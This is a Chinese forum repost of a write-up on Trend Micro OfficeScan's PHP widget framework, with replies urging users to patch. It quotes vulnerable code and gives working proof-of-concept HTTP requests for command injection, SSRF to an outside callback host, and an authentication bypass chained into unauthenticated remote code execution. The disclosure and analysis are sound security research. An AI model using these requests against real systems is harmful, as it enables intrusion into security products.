查看: 2922|回复: 8
收起左侧

[资讯] 综合利用一个身份认证漏洞,通吃多款趋势安全软件

[复制链接]
FUZE
发表于 2017-11-9 23:14:40 | 显示全部楼层 |阅读模式

One ring to rule them ALL

框架安全是安全界众所周知的问题,实际上,Apache Struts漏洞就是此类问题的最好体现。如果我们从产品供应商的角度来看待这个问题,会发现更多相似案例。比如趋势科技在多款产品使用了相同的代码库,本文中我会展示用一个RCE漏洞就可渗透多款趋势安全软件。

一个漏洞通吃多个趋势安全软件-趋势安全软件的组件漏洞问题

大部分趋势安全软件都在管理员界面中嵌入了一个组件(widget),虽然软件核心程序为Java或.NET,但该组件却为PHP实现机制,这意味着,不论何时使用该组件,软件中肯定要包含PHP解释器模块。这就为我们研究打开了可以想像的空间:这个存在于不同安全软件中的代码库一旦存在漏洞,就能通吃所有软件,成功实现软件系统的入侵渗透。

基于此,我对Trend Micro OfficeScan的组件(widget)系统进行了一次安全审计,结果也让人吃惊:我发现了其中存在的6个漏洞,有2个为0day漏洞。在演示漏洞之前,我们来看看该组件库的工作机制。

该组件框架有一个代{过}{滤}理机制,也即是存在proxy_controller.php这么一个服务端来接收用户提供的参数,然后根据输入来调用相关的类函数,而组件类型主要有用户自定义和默认类型。以下为proxy_controller.php中的源代码:
  1. if(!isset($g_GetPost)){
  2.     $g_GetPost = array_merge($_GET,$_POST);
  3. }else{
  4.     $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
  5. }
  6. // ... CODE OMIT ...
  7. $server_module = $g_GetPost['module'];
  8. $isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
  9. if(true === $isDirectoryTraversal){
  10.     mydebug_log("Bad guy come in!!");
  11.     proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
  12. }
  13. $intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
  14. if($intUserGeneratedInfoOfWidget == 1){
  15.     $strProxyDir = USER_GENERATED_PROXY_DIR;
  16. }else{
  17.     $strProxyDir = PROXY_DIR;
  18. }
  19. $myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
  20. //null byte injection prevents
  21. if( is_string( $myproxy_file ) ) {
  22.     $myproxy_file = str_replace( "\0", '', $myproxy_file );
  23. }
  24.             
  25. // does file exist?
  26. if(file_exists($myproxy_file)){
  27.     include ($myproxy_file);
  28. }else{
  29.     proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
  30. }
  31. // does class exist?
  32. if(! class_exists("WFProxy")){
  33.     proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
  34. }
  35. // ... CODE OMIT ...
  36. $request = new WFProxy($g_GetPost, $wfconf_dbconfig);
  37. $request->proxy_exec();
  38. $request->proxy_output();
复制代码
以上代码段分别执行了以下几项操作:
    1、合并GET和POST参数并将它们存储在$g_GetPost变量中;

    2、验证$g_GetPost['module']变量;

    3、检查$g_GetPost[‘userGenerated’]参数,确认组件是否为用户自定义;

    4、包含进所需的php类;

    5、最后创建WFProxy实例,并调用proxy_exec()和proxy_output()方法。
实际上可有多种WFProxy实现方式,主要取决于从客户端所获取的变量。现在,知道了不同类之间的参数传递方式,我们可以深入来分析其中的安全问题。

漏洞#1:认证方式命令注入

以下代码取自于modTMCSS的WFProxy实现过程:
  1. public function proxy_exec()
  2. {
  3.   // localhost, directly launch report.php
  4.   if ($this->cgiArgs['serverid'] == '1')
  5.   {
  6.           if($this->cgiArgs['type'] == "WR"){
  7.               $cmd = "php ../php/lwcs_report.php ";
  8.               $this->AddParam($cmd, "t");
  9.               $this->AddParam($cmd, "tr");
  10.               $this->AddParam($cmd, "ds");
  11.               $this->AddParam($cmd, "m");
  12.               $this->AddParam($cmd, "C");
  13.               exec($cmd, $this->m_output, $error);
  14.               if ($error != 0)
  15.               {
  16.                   $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
  17.                   $this->errMessage = "exec lwcs_report.php failed. err = $error";
  18.               }
  19.           }
  20.           else{        
  21.               $cmd = "php ../php/report.php ";
  22.               $this->AddParam($cmd, "T");
  23.               $this->AddParam($cmd, "D");
  24.               $this->AddParam($cmd, "IP");
  25.               $this->AddParam($cmd, "M");
  26.               $this->AddParam($cmd, "TOP");
  27.               $this->AddParam($cmd, "C");
  28.               $this->AddParam($cmd, "CONSOLE_LANG");
  29.               exec($cmd, $this->m_output, $error);
  30.               if ($error != 0)
  31.               {
  32.                   $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
  33.                   $this->errMessage = "exec report.php failed. err = $error";
  34.               }
  35.           }
  36.   }
  37. private function AddParam(&$cmd, $param)
  38. {
  39.   if (isset($this->cgiArgs[$param]))
  40.   {
  41.     $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
  42.   }
  43. }
复制代码
很显然,这里存在着潜在的命令注入漏洞,因为我们可以完全控制数组$this->cgiArgs和$g_GetPost。每个WFProxy类都是扩展的ABaseProxy抽象类,以下则为基类中的__construct方法头两行:
  1. public function __construct($args, $dbconfig){
  2.         $this->cgiArgs = $args;
复制代码
可以看出,$this->cgiArgs是由GET和POST参数来填充的,由此有以下PoC:
  1. POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
  2. Host: 12.0.0.184
  3. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
  4. Cookie: LANG=en_US; LogonUser=root; wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098; PHPSESSID=edir98ccf773n7331cd3jvtor5;
  5. X-CSRFToken: fb5b76f53eb8ea670c3f2d4906ff1098
  6. ctype: application/x-www-form-urlencoded; charset=utf-8
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 6102
  9. module=modTMCSS&serverid=1&TOP=2>&1|ping 4.4.4.4
复制代码
提示:在modTMCSS的WFProxy实现过程中,当其中的exec()函数正被与第二或第三个函数参数使用时,如果想利用管道技巧只需执行第一个命令,命令是长这样的:php ../php/lwcs_report.php TOP=2>&1|ping 4.4.4.4,2>&1是用来欺骗exec()函数的,因为我们在产品中没有可以利用的lwsc_report.php脚本文件。第一部分命令执行后始终返回not found error信息。

后来,我想起该漏洞可能是研究人员Steven Seeley前久发现的漏洞,趋势官方可以已经在几周前就发布了补丁更新,根据公告,该漏洞利用需要用到身份认证机制,而我已经找到了绕过身份认证的另外一个0day漏洞了,后续漏洞#6中我会作介绍。

漏洞#2 #3 #4:私钥泄露、存在可公开访问的Sqlite3和SSRF问题

这几个漏洞都已经被其它安全人员发现上报,在此不作为此文重点,感兴趣的可以点此查看。

漏洞#5:SSRF漏洞(0day)

前文提到的两种组件类型:用户自定义和默认,在此基础上趋势安全软件在其代码库中又存在着一种默认的用户自定义组件实现:modSimple,我觉得这是一种提供给用户的实现示例。该组件的proxy_exec()方法实现代码如下:
  1. public function proxy_exec() {
  2.   $this->httpObj->setURL(urldecode($this->cgiArgs['url']));
  3.   if( $this->httpObj->Send() == FALSE ) {
  4.     //Handle Timeout issue here
  5.     if($this->httpObj->getErrCode()===28)
  6.     {
  7.       $this->errCode = WF_PROXY_ERR_EXEC_TIMEOUT;
  8.     }
  9.     else
  10.     {
  11.       $this->errCode = WF_PROXY_ERR_EXEC_CONNECT;
  12.     }
  13.     $this->errMessage = $this->httpObj->getErrMessage();
  14.   }
  15. }
复制代码
它直接使用了url参数传递而没采用了校验机制,而前面提到的$this->cgiArgs['url']数组是可被我们完全控制的,所以就有了以下PoC:
  1. POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
  2. Host: 12.0.0.200
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
  4. Accept: application/json
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. X-Requested-With: XMLHttpRequest
  8. X-Request: JSON
  9. X-CSRFToken: o6qjdkto700a43nfslqpjl0rm5
  10. Content-type: application/x-www-form-urlencoded; charset=utf-8
  11. Referer: https://12.0.0.200:8445/widget/index.php
  12. Content-Length: 192
  13. Cookie:
  14. JSESSIONID=C2DC56BE1093D0232440A1E469D862D3; CurrentLocale=en-US;
  15. PHPSESSID=o6qjdkto700a43nfslqpjl0rm5;
  16. un=7164ceee6266e893181da6c33936e4a4; userID=1; LANG=en;
  17. wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C;
  18. lastID=4; cname=dashBoard; theme=default; lastTab=3;
  19. trialGroups=newmenu%0D%0AX-Footle:%20bootle
  20. X-Forwarded-For: 127.0.0.1
  21. True-Client-Ip: 127.0.0.1
  22. Connection: close
  23. module=modSimple&userGenerated=1&serverid=1&url=http://azdrkpoar6muaemvbglzqxzbg2mtai.burpcollaborator.net/
复制代码
漏洞#6:身份认证绕过(0day)

前面说过,由于趋势安全软件核心系统是Java/.NET编写的,但其组件widget系统却完全是PHP架构的,所以问题来了:
当请求通过组件时,趋势安全软件如何验证用户身份?
为此,可以利用Burp来对用户登录行为进行抓包分析,确定组件是否被调用进行身份认证,以下HTTP POST请求引起了我的注意:
  1. POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
  2. Host: 12.0.0.175
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Cookie: session_expired=no; LANG=en_US; LogonUser=root; wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810
  8. Connection: close
  9. Upgrade-Insecure-Requests: 1
  10. Content-Length: 59
  11. X-CSRFToken: c7ce6cd2ab50bd787bb3a1df0ae58810
  12. Content-Type: application/x-www-form-urlencoded
  13. cid=1&act=check&hash=425fba925bfe7cd8d80a8d5f441be863&pid=1
复制代码
以下是趋势安全软件身份认证文件代码:
  1. if(!WF::getSecurityFactory()->getHttpToken()->isValidHttpHeaderToken()){
  2.   make_error_response(WF_ERRCODE_HTTP_HEADER_TOKEN_ERR, WF_ERRCODE_HTTP_HEADER_TOKEN_ERR_MSG);
  3.   exit();
  4. }
  5. // ... CODE OMIT ...
  6. if( $_REQUEST['act'] == "check" ) {
  7.     mydebug_log("[LOGIN][check]");
  8.     if( (!isset($_REQUEST['hash']) || $_REQUEST['hash'] == "") ) {
  9.       make_error_response( LOGIN_ERRCODE_LACKINPUT, LOGIN_ERRCODE_LACKINPUT_MSG."(email)");
  10.       exit;
  11.     }
  12.     // check user state
  13.     $recovered = false;
  14.     if( STANDALONE_WF ) {
  15.       mydebug_log("[LOGIN][check] recover session STANDALONE");
  16.       $recovered = $wfuser->standalone_user_init();
  17.     } else {
  18.       mydebug_log("[LOGIN][check] recover session PRODUCT");
  19.       $recovered = $wfuser->product_user_init();
  20.     }
  21.     if( $recovered == false ) {
  22.       mydebug_log("[LOGIN][check] recover session failed");
  23.       make_error_response( LOGIN_ERRCODE_LOGINFAIL, LOGIN_ERRCODE_LOGINFAIL_MSG);
  24.       exit;
  25.     }
  26.     mydebug_log("[LOGIN][check] recover session ok");
  27.     /*
  28.      * return the widgets of only first tab
  29.      */
  30.     $ckresult = $wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']);
  31.     if( $ckresult == false ) {
  32.       make_error_response( LOGIN_ERRCODE_DBERR, LOGIN_ERRCODE_DBERR_MSG);
  33.     } else {
  34.       mydebug_log("[LOGIN][check] check result: ".$ckresult);
  35.       make_successful_response( LOGIN_OK_SUCCESS_MSG, $ckresult);
  36.     }
  37.     exit;
  38.   }
复制代码
首先,其具备了CSRF验证功能,但最重要的是,在第17和23行之间,$wfuser->standalone_user_init()和$wfuser->product_user_init()是一起用来负责对组件框架进行身份认证的关键命令。

在此过程中,还产生了4个内部函数调用动作:
  1. public function standalone_user_init(){
  2.     mydebug_log("[WFUSER] standalone_user_init()");
  3.     if(isset($_COOKIE['userID'])){
  4.         return $this->recover_session_byuid($_COOKIE['userID']);
  5.     }
  6.     mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
  7.     return false;
  8. }
  9. public function recover_session_byuid($uid){
  10.     mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
  11.     if(false == $this->loaduser_byuid($uid)){
  12.         mydebug_log("[WFUSER] recover_session_byuid() failed");
  13.         return false;
  14.     }
  15.     return $this->recover_session();
  16. }
  17. public function loaduser_byuid($uid){
  18.     mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
  19.     // load user
  20.     $uinfolist = $this->userdb->get_users($uid);
  21.     if($this->userdb->isFailed()){
  22.         return false;
  23.     }
  24.     // no exists
  25.     if(! isset($uinfolist[0])){
  26.         return false;
  27.     }
  28.     // get userinfo
  29.     $this->userinfo = $uinfolist[0];
  30.     return true;
  31. }
  32. public function get_users($uid = null){
  33.     // specify uid
  34.     $work_uid = $this->valid_uid($uid);
  35.     if($work_uid == null){
  36.         return;
  37.     }
  38.     // query string
  39.     $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
  40.     $sqlvalues[':uid'] = $work_uid;
  41.     return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);
复制代码
这些调用主要完成了以下操作:
    1、从用户cookie中获取变量值;

    2、调用loaduser_byuid()函数来传递变量值;

    3、用给定变量值调用get_users()函数,如果函数返回值为true,则会继续完成recover_session()函数调用;

    4、利用给定的用户id值调用get_users()函数执行sql查询命令。
以上涉及到的代码中,$wfuser->product_user_init()函数执行顺序基本一致,惟一不同就是,$wfuser->standalone_user_init()调用了user_id,而$wfuser->product_user_init()则调用了用户名。

而在此过程,我并未见识到所谓的认证过程,甚至连参数的hash认证过程也没有,所以,在这种服务端中,用相同的变量就可完成所有的用户身份认证。

一洞通吃并用Metasploit建立反弹连接

现在,我们有两个可用漏洞,一个是刚发布补丁的命令注入,另一个是利用组件系统的身份认证绕过漏洞(0day),这两个漏洞的组合将会让我们在不需任何凭据的条件下,直接对目标系统执行操作系统命令,实现成功入侵渗透:exploit-GitHub ,视频演示:

http://v.youku.com/v_show/id_XMzEzMTY3NDQ0NA==.html

同样的漏洞实现:Trend Micro InterScan安全网关未授权RCE-exploit

后记

我想说的是,趋势科技已经对以上的命令注入漏洞发布了修复补丁,如果你是趋势用户,请尽快升级!另外,在不同产品中使用相同代码库不是啥子坏事,但一旦这种代码库存在漏洞将会使大量产品受到影响。目前,我还没对该漏洞影响的趋势产品进行核查,但可以肯定的是非常之多。

*参考来源:pentest,freebuf小编clouds编译,转载请注明来自FreeBuf.COM


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 2人气 +2 收起 理由
JAYSIR + 1 版区有你更精彩: )
潘基炫 + 1 版区有你更精彩: )

查看全部评分

浅美
发表于 2017-11-9 23:57:37 | 显示全部楼层
前排,看不懂,也不用趋势,但还是支持一下。
神龟Turmi
发表于 2017-11-10 18:11:26 | 显示全部楼层
很巧 我也用楼主通吃多个防守方干员(和人质)
FUZE
 楼主| 发表于 2017-11-10 18:54:00 | 显示全部楼层
神龟Turmi 发表于 2017-11-10 18:11
很巧 我也用楼主通吃多个防守方干员(和人质)

No FUZE,no play!(
ELOHIM
发表于 2017-11-10 20:46:20 | 显示全部楼层
趋势用户们赶紧来一波升级避免漏洞利用……


ghostByWolf
发表于 2017-11-10 23:48:36 | 显示全部楼层
趋势.....没听说过/捂脸
星风烈日
发表于 2017-11-13 09:38:00 | 显示全部楼层
吓得我赶紧把趋势升级了一下
a210505825
发表于 2017-11-13 17:45:53 | 显示全部楼层
6666666666666
超超~.~
发表于 2017-11-15 17:52:11 | 显示全部楼层
更新按钮点起来
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-4-19 12:43 , Processed in 0.162462 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表